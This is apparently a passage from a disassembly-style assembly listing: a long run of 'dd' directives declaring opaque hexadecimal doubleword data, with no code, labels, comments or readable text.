		dd 6D1F54h, 0CB95EBB8h,	85CC1382h, 0D35CC200h, 1BB00397h
		dd 8E240092h, 1AA44C07h, 190335A3h, 0AD34C20Dh,	0C0300711h
		dd 0F047F958h, 736D3EE9h, 4400E0F4h, 4E49C410h,	72FF7663h
		dd 0C8940CD9h, 1B9A7CFBh, 173D5800h, 5FDC8F38h,	455A00D0h
		dd 80ECFB29h, 321EA624h, 833AFE1Eh, 0DE0791CDh,	7B87A918h
		dd 0EF9FFCh, 0B8F35CE2h, 0BB4DA635h, 0CD191E00h, 17EBF597h
		dd 0C7E44Fh, 0AEB8792Bh, 0AD02A7C8h, 0CDF12000h, 4198CE59h
		dd 3B0A006Fh, 65757237h, 0A30026B7h, 2B4751A5h,	206C8FDh
		dd 0E9F17BEh, 9B602DD4h, 4B00C7B1h, 0EF07655Eh,	0C05C97B5h
		dd 1ED42A51h, 79007DABh, 0D3179D12h, 52A5E9h, 60B8E06Ah
		dd 0F98F148Eh, 86735C01h, 0D16B36C1h, 1FF87831h, 0A34C07F7h
		dd 70853875h, 3E743C96h, 4A030E1Ch, 60F3BA01h, 0CFF8A9BBh
		dd 79C90056h, 0A5684E6Eh, 0D500FF9Ah, 195D3865h, 15E4Ah
		dd 93ADB254h, 262A13C2h, 0FED39D07h, 4BA23930h,	0A6EF4005h
		dd 0D83803F1h, 11637CBBh, 2495C1C0h, 6EE8BD00h,	7A07106Dh
		dd 5E351FACh, 8FF540CCh, 62BEC89Eh, 8055DF3Eh, 11BF609Ah
		dd 2D66FD08h, 0F0853D8Ah, 4D6420C0h, 0AA018DD8h, 0FA40B73Bh
		dd 0F04025A7h, 106E007h, 13F675D4h, 0FCFD4A14h,	2E0019FFh
		dd 5EDE7001h, 83883Fh, 8E934335h, 7E5015F9h, 49173A0Bh
		dd 0AB28C060h, 14EC70h,	6B56E5ADh, 0EC8A8757h, 59A59F12h
		dd 69EA0EAEh, 0F0908736h, 221E7C3Fh, 159E0500h,	8DBCF4BDh
		dd 784E60F7h, 8D59A44h,	0E9F89000h, 378331Dh, 90095CBAh
		dd 9AC98900h, 4BE6124Fh, 6C1A3400h, 0F9FDCAF6h,	566E134Ch
		dd 972C0F21h, 6411D142h, 80D2C287h, 33B7B38h, 42AB3707h
		dd 5AF08EB1h, 1E9EBBDh,	9278A534h, 293D6AE5h, 8F740080h
		dd 0D2907DDEh, 0BC44000Ah, 0EC877AC0h, 5E039C37h, 83F5FF31h
		dd 909AE827h, 225F0079h, 111036E9h, 4975E4F9h, 0ACAA012Eh
		dd 0A22F4B00h, 4F8B689h, 0C07E21AFh, 885C8053h,	3D3FAC3Ch
		dd 47FF007Ah, 103EFAA4h, 4C505C5Dh, 0F6EAE980h,	64B08A04h
		dd 7AC4648h, 7757E84Fh,	0C739D7A0h, 0C60E142Ch,	65039430h
		dd 0A524E7Dh, 0B0AB0DE8h, 3C847300h, 9205A999h,	2A8C0035h
		dd 0A14D0675h, 0F2F04BD9h, 6F14CA00h, 0F6215E88h, 38C9C012h
		dd 0E3C5BE6h, 0E73A9707h, 80995DD3h, 9A7DC394h,	5A900124h
		dd 4FDEF4C6h, 6398F811h, 0E080A700h, 23C974A1h,	0F2B900F5h
		dd 0D2462E6Ch, 0C8C08968h, 0FA2D5F2Ah, 94E462h,	52416AF1h
		dd 0DDB55143h, 0B8057E0Ch, 3097D0A3h, 9C6228C3h, 3400A26Fh
		dd 27C450C7h, 0BBE7EAh,	0CA6C0225h, 9BFA632Fh, 2EC37900h
		dd 9592CD0Eh, 0A71700FFh, 0EC01598Eh, 5224E298h, 13001430h
		dd 0F7F879CEh, 6426189Dh, 7D3A1953h, 740D6E3Bh,	30B9D024h
		dd 6D371001h, 0AC78F57Eh, 552E7000h, 8946606Bh,	0BE4E513Dh
		dd 0B8268087h, 614548EDh, 0A90003Dh, 766FE3B6h,	1E1E8DF2h
		dd 9900F313h, 20D1CED0h, 0C5C900A5h, 4C037693h,	0B7E188Ah
		dd 0D200637Fh, 0A5B969DAh, 0AD3FD4h, 8E400123h,	0E5E01250h
		dd 631F9702h, 0E1694AD2h, 0CFC0FB5Bh, 0D7FE00C3h, 0DD68BDC1h
		dd 0EB001E53h, 0F4D278A3h, 3F94E2Ah, 0D802A88Ch, 0B68058F8h
		dd 64014B4Ch, 0BC6F848Eh, 0EC20F116h, 1EA7844h,	0E930AA0h
		dd 0E4420FEBh, 0CF00D856h, 74209E81h, 0A8CA2Eh,	5A1D0BDAh
		dd 84AB5F95h, 709DDC03h, 88312FBDh, 0E24A3906h,	60654956h
		dd 19CB2601h, 3CBF4Fh, 0DA1FB1h, 0FBC591BDh, 0B889EBC0h
		dd 0F699300h, 12F5D0Dh,	0D4EC00F6h, 3255CFF0h, 1100A23Bh
		dd 2854F1D2h, 38B31D0h,	199FF746h, 0FE80C7AFh, 5E078988h
		dd 0D50B36DCh, 0B2F3D8D0h, 0AF2A0EBDh, 0FE802B5Ch, 1DE186F8h
		dd 8099B130h, 9896CFF9h, 0FA5B006Ch, 2AAFF551h,	0F200223Fh
		dd 8B065047h, 0DE3D3A26h, 0A564C1B8h, 6CEE85F4h, 92AE00D8h
		dd 0B0A02F75h, 56960005h
		dd 0B6B8B7B9h, 0F21F4DE2h, 35419D33h, 42395B0Dh, 1034984h
		dd 0A6378389h, 65ABC0E0h, 1D11EF01h, 0CDAD2FA1h, 0DADD9450h
		dd 9A1F0006h, 0F6D0C142h, 0C3001EBFh, 83FBFC07h, 7902B103h
		dd 864A01BDh, 5F65C7B4h, 1D9C7CA6h, 11808E68h, 8AF162ADh
		dd 4EC12820h, 70082588h, 92596800h, 40013D7Fh, 244A5EECh
		dd 32E4D5FAh, 0DE6F092Eh, 804C1FB4h, 0ED031900h, 4C52278Eh
		dd 288600E2h, 3405D77Dh, 0F50285ECh, 1DACC9D6h,	0DA34C15Fh
		dd 70D35EDCh, 0ED3F0045h, 2CB09037h, 0D6030591h, 9D7B6566h
		dd 31F100D5h, 0D7B5B776h, 0AF007C1Fh, 30BA873Bh, 0CD86A02h
		dd 0DEA45354h, 0A0A427E1h, 7A13DC3Fh, 5F06970Bh, 98D4E0FAh
		dd 0A9E80104h, 4C37812Ah, 48406011h, 168428FDh,	94804DDFh
		dd 1E0C8485h, 78D4DE81h, 95D7BD00h, 0DA115E6Ah,	0B30DD500h
		dd 91CCCB34h, 0B03D0999h, 1C503AFAh, 63135A76h,	0B45E95FBh
		dd 60805B17h, 30E36EC3h, 4B710B56h, 3130F7EAh, 65831119h
		dd 43782635h, 2B0228Bh,	0FB90D56Dh, 97603FD1h, 83093E76h
		dd 0B03C49h, 8F82DC60h,	950770BAh, 8E889020h, 0A40B5F92h
		dd 202C9DCCh, 90DFEDBCh, 0D3F802C3h, 0F6623B87h, 7EB8CA2h
		dd 40A8C141h, 0E80F539Ch, 8C623D00h, 3F7B8D16h,	0C887005Ah
		dd 51CE581Fh, 430E8540h, 670B2A61h, 7ED01E38h, 50F54h
		dd 0E39406C7h, 6226C398h, 4EA17402h, 46DAC8FAh,	0A25D12B8h
		dd 0BB9C094Fh, 0D387C8C0h, 0AFCED0A0h, 5585A76h, 0B4425F4Ch
		dd 0FA197Dh, 8DD762A7h,	0D02E8C3Eh, 0AE6033FDh,	0F20A6E21h
		dd 7F6730E4h, 0A865C310h, 0ABE5EB04h, 0BDC5CF33h, 3AE49090h
		dd 6B6116FCh, 0E000512h, 94B84074h, 0B5729BD6h,	319C2654h
		dd 14C8FD07h, 0E3E04C49h, 791C75h, 0A90C0B22h, 0FBA1EF16h
		dd 0CEE924h, 6820B496h,	2A2FF8h, 6661844Ch, 45F18560h
		dd 6DA8E500h, 8AAD4840h, 1E04B64Dh, 8DD14AA2h, 0B77580DCh
		dd 43F8D7FBh, 797634F8h, 0B1EAF500h, 4C8DE33h, 2A9100EEh
		dd 0E79C51B7h, 5E001603h, 0E22458A6h, 0AEC4B1h,	7FE934Fh
		dd 336B3650h, 7F0FC10Ch, 8D19CDh, 693A88B5h, 102D253Ch
		dd 7FE5FC00h, 1E27CC81h, 0AABC0072h, 0FA2BD9F4h, 2200A9ECh
		dd 97012412h, 4D6375C9h, 0F04CF4AFh, 0B752B207h, 7F8E007Ah
		dd 250422Bh, 2F0017B4h,	81D7ACE9h, 3F44E320h, 0F29F6FD5h
		dd 0BB8ACFE5h, 61C6C360h, 5314275Ah, 0D8BC8Eh, 0A4B599D3h
		dd 7D444728h, 14B85A69h, 875E88F8h, 0B491359Dh,	0B439E580h
		dd 62C800FBh, 0ACFFB307h, 91E0022h, 41F00586h, 770FA516h
		dd 0C35BB9B7h, 0BC1060C7h, 9F9893h, 0A0FC0D4Ch,	0F6A1BD6Eh
		dd 2030D300h, 0A993A9Dh, 0D6FF24DFh, 49178108h,	2834F3FCh
		dd 25850058h, 0C34C3E55h, 2DF10F5Eh, 3460D1B6h,	0FDBE98E7h
		dd 0DEC07A00h, 0AF25E3B9h, 47500ACh, 0F7C2E2EDh, 2D382315h
		dd 0F60B0728h, 0A32017D6h, 65FF2Eh, 0CCAB47Ch, 9B07B9F1h
		dd 73BF538h, 2D752C83h,	20394820h, 277A00EEh, 84B358B8h
		dd 0AC042B99h, 0E960ECA4h, 950CF091h, 3E2D71C8h, 97892C78h
		dd 7820246Bh, 0AB347F2Fh, 0D191A202h, 0C8F06D5Dh, 0E5705B8h
		dd 185C1604h, 0A14287AFh, 0E540AE42h, 0F0A0177Fh, 88008B30h
		dd 0FC3B3A68h, 9028656Bh, 0CDEA001Dh, 0FB54B50Ah, 0FD76349Bh
		dd 0EF61E818h, 183BA190h, 1177DF9Ah, 0D87E5072h, 6FEC4502h
		dd 0E05291CEh, 0BE823Dh, 46A81BE0h, 0E1A905BCh,	0EB24AE00h
		dd 871C15E9h, 3937C18h,	26E00740h, 86B069BBh, 4939FF9Dh
		dd 0EC3D818Eh, 8AB0599Eh, 58346AF0h, 6401DFAEh,	1CE522B1h
		dd 5EC3C9Ch, 1A019015h,	5A9BC880h, 0BE230072h, 95CAB721h
		dd 0A804FDC9h, 0B1F76FFAh, 0C2DE64C0h, 5EE40397h, 0D35D9D32h
		dd 2CA580BCh, 9C0003BEh, 611C23CCh, 1442E75Bh, 0B88B4354h
		dd 696B5D02h, 70C0A773h, 58092FB3h, 81126E4Fh, 6CD59FC0h
		dd 98304C61h, 0F8F54040h, 38FEEE2Ch, 9708DC00h,	0B101EBCh
		dd 0B1A2A42Dh, 73033C10h, 25A0CC18h, 0EEFDE168h, 8A8B0084h
		dd 3D3B3876h, 38BA3423h, 81411B18h, 2844E61h, 9E7DD570h
		dd 0C4B5364h, 618706A9h, 7833F8h, 402E7FABh, 383558h, 23F2D12Ch
		dd 0C7179575h, 0CD58CB7Dh, 0E54AC888h, 20A4C1B5h, 777980B6h
		dd 9D2C5D69h, 3C80B231h, 44588BF1h, 9A1B5780h, 6E2C79CAh
		dd 65707850h, 60008EE3h, 0E4FF19EFh, 2C093EE2h,	78743AC6h
		dd 6C00B808h, 0BA21123Bh, 16B077ACh, 0C0233789h, 871FC908h
		dd 0D6921B05h, 1880A6D2h, 0B0E676Dh, 0AAE87D32h, 80167424h
		dd 731E1544h, 9AC95A63h, 38ED90B5h, 31EF3A2Fh, 0B918D184h
		dd 45AC8050h, 40074497h, 23240B91h, 12900CE7h, 3347ACFh
		dd 2570EC26h, 4809DD51h, 803865BCh, 88D8985Dh, 45570759h
		dd 70713956h, 2C3D1417h, 4114367h, 0D0E518F3h, 0B12110h
		dd 71A6A7Dh, 66EEF597h,	837248h, 9F15FAA6h, 1E9977B5h
		dd 0CADE76B8h, 84A869B1h, 9511A602h, 0B8E0D104h, 0C9E850C5h
		dd 200F371h, 8928F8AAh,	48928A0Eh, 0D2072C87h, 40AE4603h
		dd 2CE47978h, 57118B74h, 65002537h, 6A60B07Dh, 2D4BF4F3h
		dd 59E46820h, 6F231D94h, 0DF6840CFh, 0F1EC06CEh, 0D709B20Bh
		dd 0E4FB030Bh, 443AF86Fh, 0D6521DADh, 6E6402E7h, 43E0C284h
		dd 6C0097BFh, 678B8912h, 954455h, 0FC0FE538h, 0A3349EF8h
		dd 0D7980C00h, 8EE96F62h, 0E29200BFh, 6D527C13h, 9D00AE4Bh
		dd 0C169D1ADh, 7FB75C5Bh, 7259001Ah, 11215D5Fh,	16070CFAh
		dd 1D65746Ch, 6F008CCAh, 0F0D17DB6h, 0F6B800FBh, 49F30E4Ah
		dd 0B0E5D49Bh, 3157424h, 50C503A8h, 208921F5h, 849B6FE0h
		dd 0E2D85800h, 6B1E014Ch, 75651477h, 0B209D4E4h, 20524130h
		dd 98A36807h, 231086FDh, 0E477676Eh, 10F013Fh, 0D46DA43Dh
		dd 0F3D0704Ah, 9D386803h, 876B325Fh, 88933091h,	0A42E1832h
		dd 6B4D4054h, 4E61B5EFh, 0F0169638h, 667470h, 0DFF309E2h
		dd 324D7D6Dh, 8A15F803h, 0F82606C8h, 25344FDBh,	44E0873Ah
		dd 0E5007902h, 230E706Fh, 39415C32h, 0B60916D7h, 1AEA4h
		dd 0D4C8F9E5h, 9A01A989h, 4B68D9A0h, 78297EF7h,	612EB900h
		dd 8FCB978Dh, 9C3D7724h, 55C0682h, 0B2EBC08Eh, 625609B9h
		dd 7C00947Ah, 829C0EBAh, 0B7D4805h, 94A0277Bh, 53040769h
		dd 0C0BF1257h, 0B2964031h, 0A1CD2312h, 269FF8C0h, 0E55C00C8h
		dd 0DC9016BBh, 0E8010231h, 0A7073C9Bh, 9840FBD5h, 4A3EF67h
		dd 7D1FBF1Eh, 9BA4D282h, 0E49DF340h, 630DEB00h,	9A89D13Ch
		dd 541306DDh, 0D978F42Eh, 3203800h, 64F97AA5h, 1345768Eh
		dd 448AC6BFh, 0B2CA6AD0h, 21AE001Ch, 2A55CF90h,	503160A2h
		dd 3BEA1151h, 119640Bh,	796002B2h, 0EFBC21B3h, 49BEC1A5h
		dd 9F8EEC50h, 2019A901h, 3C9A0ECAh, 97809CF3h, 1787C9FEh
		dd 17E085Eh, 0DD55C020h, 0E8002FD4h, 731A6FC6h,	473A4876h
		dd 0A23F740Fh, 98BE721h, 53618712h, 0B66278D0h,	19DCE0B7h
		dd 16C748A5h, 46633300h, 8F3A535Bh, 0FC037916h,	0E4BC7400h
		dd 0C8DC4429h, 0E2782EB9h, 0DC9F4D2Ah, 2DD2B101h, 60E34BEAh
		dd 405F348Fh, 0AC57B042h, 90D4E3B1h, 73043FF5h,	9C4BEEA7h
		dd 0E3604280h, 0C4146012h, 0D7ED2CDCh, 46188344h, 40583407h
		dd 0F0A32CB0h, 0FBCDCF80h, 185FA032h, 186F8167h, 0EE187FE1h
		dd 40C1DF99h, 816951Fh,	89047800h, 6307D4DEh, 0AB3B0357h
		dd 2BC5F01Fh
		dd 888128AAh, 2D5D20B6h, 0B23AB0BCh, 0C09164DEh, 302CB222h
		dd 7584024Dh, 0B4A43970h, 0E3687A89h, 0B3A91883h, 7D121A8h
		dd 840D9600h, 48FBE1CBh, 65EF07A7h, 408EA16Ah, 976B3E40h
		dd 4CF2BF01h, 75C7DA51h, 0A09997F3h, 0DD2F103Ch, 8F5300F7h
		dd 0D44D510Fh, 990DC667h, 299B4B4Ch, 6EB4DA40h,	167A0133h
		dd 3763C8DDh, 21C7F819h, 0F11F9C0Fh, 0AACFE0D3h, 0AF91102h
		dd 64BE093h, 4C2681C0h,	0E190BF71h, 0E3D440E2h,	61049348h
		dd 0CB13EC76h, 88550B40h, 84A6683Eh, 4C6E5700h,	0B86D9984h
		dd 0D9F400AEh, 85A37539h, 0BF7A95DCh, 0D6C75A00h, 77E55E72h
		dd 0C5920140h, 0B067DD37h, 2800DF13h, 6F14714h,	2C4EEACDh
		dd 346948h, 0E1BB248Ch,	0EE07B303h, 5E6858FFh, 7EC4DE22h
		dd 14720034h, 715488C3h, 9824E7F4h, 43807CC0h, 0B6FE31F1h
		dd 0DD5800E9h, 9AF50FA4h, 6C0FDF9Ch, 0DCBA95B9h, 0C046AEBCh
		dd 30E3F383h, 0A1B2B001h, 0CCCB0038h, 0E77FB1F2h, 91E0833h
		dd 0BE00FE72h, 0FA0ABD3Dh, 7CDF09BBh, 10008CD2h, 66C9041Fh
		dd 0FC7A400h, 52DE613Fh, 80334B19h, 0EEF67A60h,	83B21C0Bh
		dd 0FD0C8090h, 3449C3Ah, 81332937h, 36F0EFA4h, 0C000D8E9h
		dd 1895CD14h, 898DFAh, 19871BF0h, 84D028Ch, 1E561A04h
		dd 0D080B5E3h, 0FCB77B7Dh, 0CFC300F2h, 42670258h, 0EC003FF3h
		dd 5B77203Eh, 7078ADh, 5745C7EDh, 1BEC92Eh, 845A0892h
		dd 0FDA2E488h, 760DC300h, 2DD60516h, 281E3C00h,	4381AF9h
		dd 306AC0FFh, 7FE0B0B5h, 6908DE00h, 5C7288A5h, 0E9D15C06h
		dd 0D6AFAB03h, 500F1C38h, 0E2E93A49h, 745E9A9Dh, 998900C8h
		dd 836792D5h, 71D67700h, 2D121C3Ah, 0EDF0008Bh,	0E528A5DDh
		dd 0BB58DCC0h, 0B1B650B1h, 6710F0E3h, 0E26BB903h, 9035A02Dh
		dd 0CC1C34h, 31DD8E4Dh,	6672B5FCh, 0A11A1E09h, 0C36C80D4h
		dd 0AC2B98h, 219DC512h,	44715975h, 0A0406D4Bh, 0B4A3E062h
		dd 87260B98h, 7CE08E28h, 85F6C27Eh, 13DADB00h, 0B1AB313Fh
		dd 0E0F9003Ah, 4408AC7Dh, 78B8743Ch, 0DAD1010Eh, 0FEB6033h
		dd 18EEF3DFh, 0EEA026AEh, 1C038429h, 0AFB9D9A3h, 6CDCE03Ch
		dd 1A69004Bh, 6844518Eh, 0E704C36Eh, 5E0BA013h,	2300D8ACh
		dd 85BCBF0Fh, 61009EE0h, 5DE43CB0h, 38EB209Ah, 2482D51Fh
		dd 0FBB6DE59h, 8064CC85h, 732A80E1h, 0AF002F76h, 78370A21h
		dd 0FEA211h, 0AA4DD440h, 0BD2BBB08h, 8034FA00h,	0BE7B24CBh
		dd 0C8009D90h, 6A58A651h, 862C76E2h, 0C600F875h, 0B2AF9AAh
		dd 1A9B018Dh, 535DA325h, 0EA646072h, 0B4193400h, 3881C994h
		dd 0C5F60FE1h, 0D440D08Eh, 0BA1BA473h, 2C867800h, 50B9D5B7h
		dd 3CEA0423h, 80C54A57h, 487D5500h, 9DB77700h, 9C718B65h
		dd 4B44B83Eh, 27F00ED9h, 22EE9001h, 5B09C085h, 1ADDC012h
		dd 0DA9B6803h, 165CF8FDh, 0C8D700A5h, 75D6D310h, 0FE071B69h
		dd 3A479D3Dh, 0FA3BE50h, 7750001Ah, 0BDEE5FD9h,	0CA3AA520h
		dd 1BED8BC0h, 38FC584Dh, 0C1098CDAh, 0CC72ADB8h, 9B059577h
		dd 0A67383D7h, 8C1B94D0h, 4B8F0014h, 548E484Ch,	6807BCDAh
		dd 977C886Ah, 87FD06E2h, 58D994D0h, 0FF4307FCh,	90F19F17h
		dd 71A16846h, 0A3F08E00h, 0EB187A1Dh, 4AED011Bh, 743B6FA5h
		dd 0AD40DCECh, 141FF03h, 885A48F6h, 0A0765546h,	4C7B16D0h
		dd 2500D429h, 583944EBh, 9000EC13h, 0B30A372Ah,	39066AA5h
		dd 0DD011B92h, 0E4F0C5EFh, 0DB6C6445h, 0AA4A0200h, 0C6317ED9h
		dd 951C000Ch, 6EF27421h, 0FB25730Bh, 0A83C407Fh, 0E4D77977h
		dd 59A01BCh, 0A2F48AFAh, 8C60D266h, 3600708Bh, 7C4B50FBh
		dd 750A1D92h, 0A6AE18CFh, 5C62B216h, 701FF98h, 81AF1703h
		dd 2B1FD0h, 0F8055FCCh,	4B010863h, 98456E6Dh, 8C30A031h
		dd 4C2B27F1h, 0BEC03C68h, 0C11AEE05h, 0A4C0CC31h, 9CABF0Eh
		dd 89D5A66Bh, 20F06C60h, 0B94819Dh, 0EC78A511h,	289A8709h
		dd 0C13501F5h, 5D6BB1D6h, 0B3ACC01Ch, 89655346h, 0C9911E03h
		dd 0D85F20E0h, 353A88h,	3A9D32Bh, 0D576B08Ch, 0F7E0C300h
		dd 1B7F11C0h, 0EB750BE5h, 907EAB34h, 4A00793Bh,	20B8FA6Bh
		dd 16869CC1h, 0F0A54EE1h, 351D96C0h, 0C79DC5AAh, 0D7936A40h
		dd 38BD99EAh, 7681C1FCh, 0B0DAC3E5h, 0F2482072h, 0BBFB8BA0h
		dd 0A550950Eh, 0A219A26Ch, 6304404Dh, 0C7A70060h, 0FF22A0F1h
		dd 0BA00D2CAh, 73CEB755h, 3F2C6C51h, 490CAA87h,	0A7112F42h
		dd 0EE801100h, 2182CBCFh, 3606001Dh, 708C317Ah,	8509671Ch
		dd 803C3873h, 395309ECh, 7A103893h, 0AF47EA0Fh,	0C4001569h
		dd 6CB5EF57h, 0AC421926h, 2F958400h, 90A53202h,	87FA5BF6h
		dd 6799D050h, 0FC004F93h, 0D9942527h, 0FCE8E4F5h, 11A90084h
		dd 60328DF8h, 0F8CBDB2Ch, 409A8B6Dh, 49DCC740h,	0A4165482h
		dd 7854810Dh, 0F746205Dh, 5888EC00h, 0CC182360h, 4FE20991h
		dd 0EC80491Fh, 5F4E377h, 8DB7731Ch, 9D0A4B00h, 4CA831Bh
		dd 0F9FE367Fh, 187CECBFh, 0EE10352Eh, 0FD3F0088h, 0CF36D4C7h
		dd 6CBC1440h, 0D801A1Dh, 81D296E2h, 942301B8h, 496B54C4h
		dd 109C7357h, 290F56C7h, 120F74FEh, 5C8872E0h, 904F3B5h
		dd 5A1BAAA1h, 74C23085h, 2C10517Ch, 10B287C8h, 0BB26E0DCh
		dd 8A003415h, 0A032782Ch, 12D59F51h, 208866h, 0F6FC320h
		dd 21025CE7h, 695F711Bh, 6B25C0E6h, 51B16011h, 8652D4FEh
		dd 7C21CC01h, 2D0E92FCh, 484C082Ch, 0B484BD05h,	83158025h
		dd 8D009742h, 0E4FC0365h, 4C02594Ah, 0E0050E7h,	6847558Bh
		dd 1D0054D8h, 0F53718C5h, 3B804B56h, 39834A84h,	48272907h
		dd 18DC70F2h, 2DA76501h, 0C474F001h, 8EE80EA6h,	0EF80DBBDh
		dd 34E07EC7h, 0AE63ED00h, 5D134DA8h, 5FFF002Dh,	0C772706Eh
		dd 0B400CE86h, 10D8B3D0h, 0AFE4C1h, 0B98DFDC6h,	3B8E766Fh
		dd 70C54639h, 54007CB8h, 1A101F9Ah, 905BD803h, 869900EAh
		dd 0CE328028h, 0DE3F63B0h, 5C2A00BAh, 0AFE68AADh, 70B478FBh
		dd 3FED2F2Eh, 9B1A2868h, 79150612h, 3B56BC00h, 3D20F569h
		dd 13023205h, 8CEBFA9Eh, 0CEE088F4h, 49907F72h,	0BA0040E1h
		dd 577C0E9Dh, 0AD13368Fh, 18C3D5D7h, 0F23D88F5h, 465E0160h
		dd 0D8027718h, 34D04258h, 3F01F8DEh, 4E55F022h,	8DD889C1h
		dd 40455AEEh, 0CF139E08h, 4C18E984h, 488014B8h,	944F2C56h
		dd 257300D0h, 0DA8675E2h, 0A2859600h, 8C1FAEC7h, 0BD1504F9h
		dd 0C04FA62Dh, 5ED210C5h, 507DA500h, 0C0E91DF8h, 0DA762Ch
		dd 2B86350Dh, 96B6F331h, 0A03DB7F4h, 903FA601h,	84AF6A00h
		dd 17D410Dh, 34D6FA81h,	2016F9E6h, 0B75A3FA0h, 88FB3480h
		dd 6CEC13ABh, 0BC800037h, 194292FFh, 0DB8EA803h, 0F07B8FA1h
		dd 0B24D4FF4h, 0B10C052Ch, 8011AC7Eh, 385AA9E8h, 18D12426h
		dd 0B9546500h, 16DD69Fh, 92E10C40h, 3C759B95h, 0E6D7C0ECh
		dd 5007EFE5h, 49AC3Eh, 7003C29Eh, 0ACF991F7h, 0D23EA990h
		dd 0E89C8054h, 0C875E3D8h, 729B3B6Eh, 0F9FDD70Eh, 6FFFDEC0h
		dd 370979CDh, 0A25A46CFh, 52840C10h, 403EA2B4h,	17A0DA0h
		dd 5E179D2Ah, 20B7AAD9h, 0C51D15A9h, 2302F83Ch,	6148DCBEh
		dd 1BCC9E10h, 0E9110046h, 85EBC013h, 718CD34h, 1C31DC08h
		dd 0E2F51932h, 79BD11F4h, 0BB116068h, 5FD5AE35h, 3A0400FAh
		dd 0F16FDAADh, 0B8223890h, 60340056h, 94B319BEh, 70EE5C47h
		dd 88B6A030h, 134D44E0h, 8010A5CEh, 5D0537BCh, 0A308C20Ch
		dd 1C3D825h, 53043DB4h
		dd 20E841B6h, 1EF82CD2h, 848E8224h, 62A8B785h, 0DB9474D0h
		dd 9197AD1h, 87884F1h, 80585004h, 2AD2E5D6h, 0ED0E9090h
		dd 0C0DAC6FDh, 4A61EF59h, 0FCEB00D6h, 0E009558Fh, 0CF98FE21h
		dd 11A0904Ch, 170BF4B7h, 10C091C5h, 0DC02E82Bh,	5E98232Eh
		dd 0AC80686Fh, 89D100A2h, 4B03B9B8h, 74264844h,	5517D426h
		dd 10C7CC09h, 9D83E0h, 0B9876189h, 36452CD1h, 2F39C101h
		dd 0C9183A01h, 5C154DC8h, 550054ECh, 952CC5F0h,	7C0F4414h
		dd 72E5D005h, 15C008A8h, 877B4656h, 25D42F04h, 5C800E8Eh
		dd 0BD72CFh, 4051CDC5h,	99F2DCF3h, 0E015FB25h, 0E4F8D365h
		dd 9B3101DEh, 0B344CFD4h, 4C0B6A23h, 0DA580571h, 0A40330ECh
		dd 5B0D8116h, 0EAB6D9C0h, 3F70600h, 13EFDDD4h, 88BB307Fh
		dd 0FD2EAF50h, 2732A107h, 87F0BAFAh, 66C421Eh, 41E46DB5h
		dd 18BEB0D8h, 8C801813h, 1735E77Fh, 0B495B2EEh,	3D0255BCh
		dd 1523990h, 6F8141ABh,	52E54D0h, 716551E7h, 10E0B0A5h
		dd 0FC00F04Fh, 0EDB89D84h, 119824h, 0A57067BDh,	8E870AC7h
		dd 0A2154F07h, 0BAD78AD5h, 44EC1CF4h, 0F6E11201h, 70F74511h
		dd 8000E2A5h, 0A6175F91h, 37B8303Eh, 0B0697E2Ch, 35F3C61Fh
		dd 0FC566118h, 12D7A81h, 676C99FEh, 0D1747F47h,	16E27032h
		dd 0BE13A131h, 87D595E3h, 5C9060h, 5D1478AFh, 894459C3h
		dd 0C86EAE00h, 6FC0B5FFh, 0A10E30EAh, 5462672Ah, 0FE1F34A8h
		dd 185C9736h, 18876040h, 1C7EBBF9h, 0F60EFC03h,	0D0D3F5F4h
		dd 14674C11h, 14BC974Bh, 0AD20C070h, 3196DB0Eh,	0BB160CA0h
		dd 449954A0h, 201FC8CEh, 710E682h, 0CB5100D9h, 684A4EADh
		dd 0F71DA46Dh, 0E3C0FA1Ah, 341C4D2Fh, 4558008Fh, 65D5AB07h
		dd 0C03CBD7Bh, 1500F335h, 0ADDA38D7h, 7C63AC2h,	0BD4D7358h
		dd 0F103433Ch, 0B7C31111h, 0C1B3C980h, 0C888E62Eh, 3DBF343Ch
		dd 903CAB41h, 717C30DAh, 9878B010h, 1E96D500h, 87279DEFh
		dd 62F27EB6h, 0D763170h, 43D0E8CBh, 2E3098B7h, 4AA3110Eh
		dd 0BF1F008Ch, 95AD8F12h, 0F80073A9h, 0CF3F8047h, 0A5FAADBh
		dd 269ABB98h, 0E744A088h, 61384DD0h, 0B15911FDh, 17F3C8BEh
		dd 78141E07h, 60461DC7h, 0B93F0021h, 0DF7C48BEh, 0A8041E39h
		dd 7197F39Ah, 0E0FF7643h, 7CEAE10Ch, 0F6920BEh,	0C6E1AD20h
		dd 808088AAh, 0A2554973h, 0F40C4E0Eh, 83E16FCh,	0D521C07Bh
		dd 136E554Fh, 25217713h, 0A3EF9709h, 0BEF60174h, 0F42E3029h
		dd 8E984371h, 7C02D20Eh, 0DD454097h, 0C16EA0h, 0F22BB7EDh
		dd 0D9B8F89Eh, 0F0801454h, 8448A124h, 0FF67A401h, 8983C8Fh
		dd 0ADD52109h, 483ECDFh, 318D927h, 80AB5619h, 38A00DAAh
		dd 3001575Ch, 0A810598Bh, 9180FF2Bh, 0BEBDC803h, 5C0CBC78h
		dd 8D46287h, 22DCA80Bh,	20BD00C7h, 304105CBh, 13186642h
		dd 0AF41FA2Eh, 7B99008Dh, 8F7975F1h, 35E27F41h,	0D0FE5338h
		dd 48CC0A8h, 0EA0554Bh,	206F623Eh, 915531D3h, 0A2C5AF0Eh
		dd 0B49AA0E8h, 276B3CCh, 8CADC30Eh, 3C49A04Ch, 89161775h
		dd 0B71B3941h, 66923000h, 0FA40BBBAh, 907D2301h, 0C67C0122h
		dd 0B31E9468h, 2228D831h, 5954C783h, 48CC558h, 0EA55548h
		dd 20776246h, 70554EC8h, 7DF2B30Dh, 46C291FBh, 0DDE7007Ch
		dd 4F054C4Eh, 65FA209Fh, 92F27D00h, 0D9300BB3h,	0C73713Ah
		dd 71130F42h, 7F029EA1h, 7E84770Dh, 9D284A9Ah, 8103110Ch
		dd 80133DECh, 5D6CB19Eh, 0EB5840DAh, 5AFFBF11h,	875FA0Fh
		dd 0F41470FBh, 100647Eh, 8951A502h, 80C8FD8Dh, 48A0C0C3h
		dd 3C467F4Ah, 0D0B1ED30h, 0E83F48A8h, 0CFE18B84h, 0EA588250h
		dd 9F22621Eh, 8E6C11ECh, 0E708005Eh, 6A0A7616h,	116CB975h
		dd 0BDAE84AAh, 4CAC5AC2h, 4006446Ch, 5ABDC503h,	0D04DC13Dh
		dd 14419B07h, 381EB8CAh, 4FCE200h, 2DC0C93Fh, 46A94500h
		dd 0C21E550Ah, 0BD90582Bh, 98D91D09h, 0E379FC0Ch, 4120E8F9h
		dd 52F72B00h, 8972A0BCh, 210165DAh, 0FFCD00CEh,	0B79DE564h
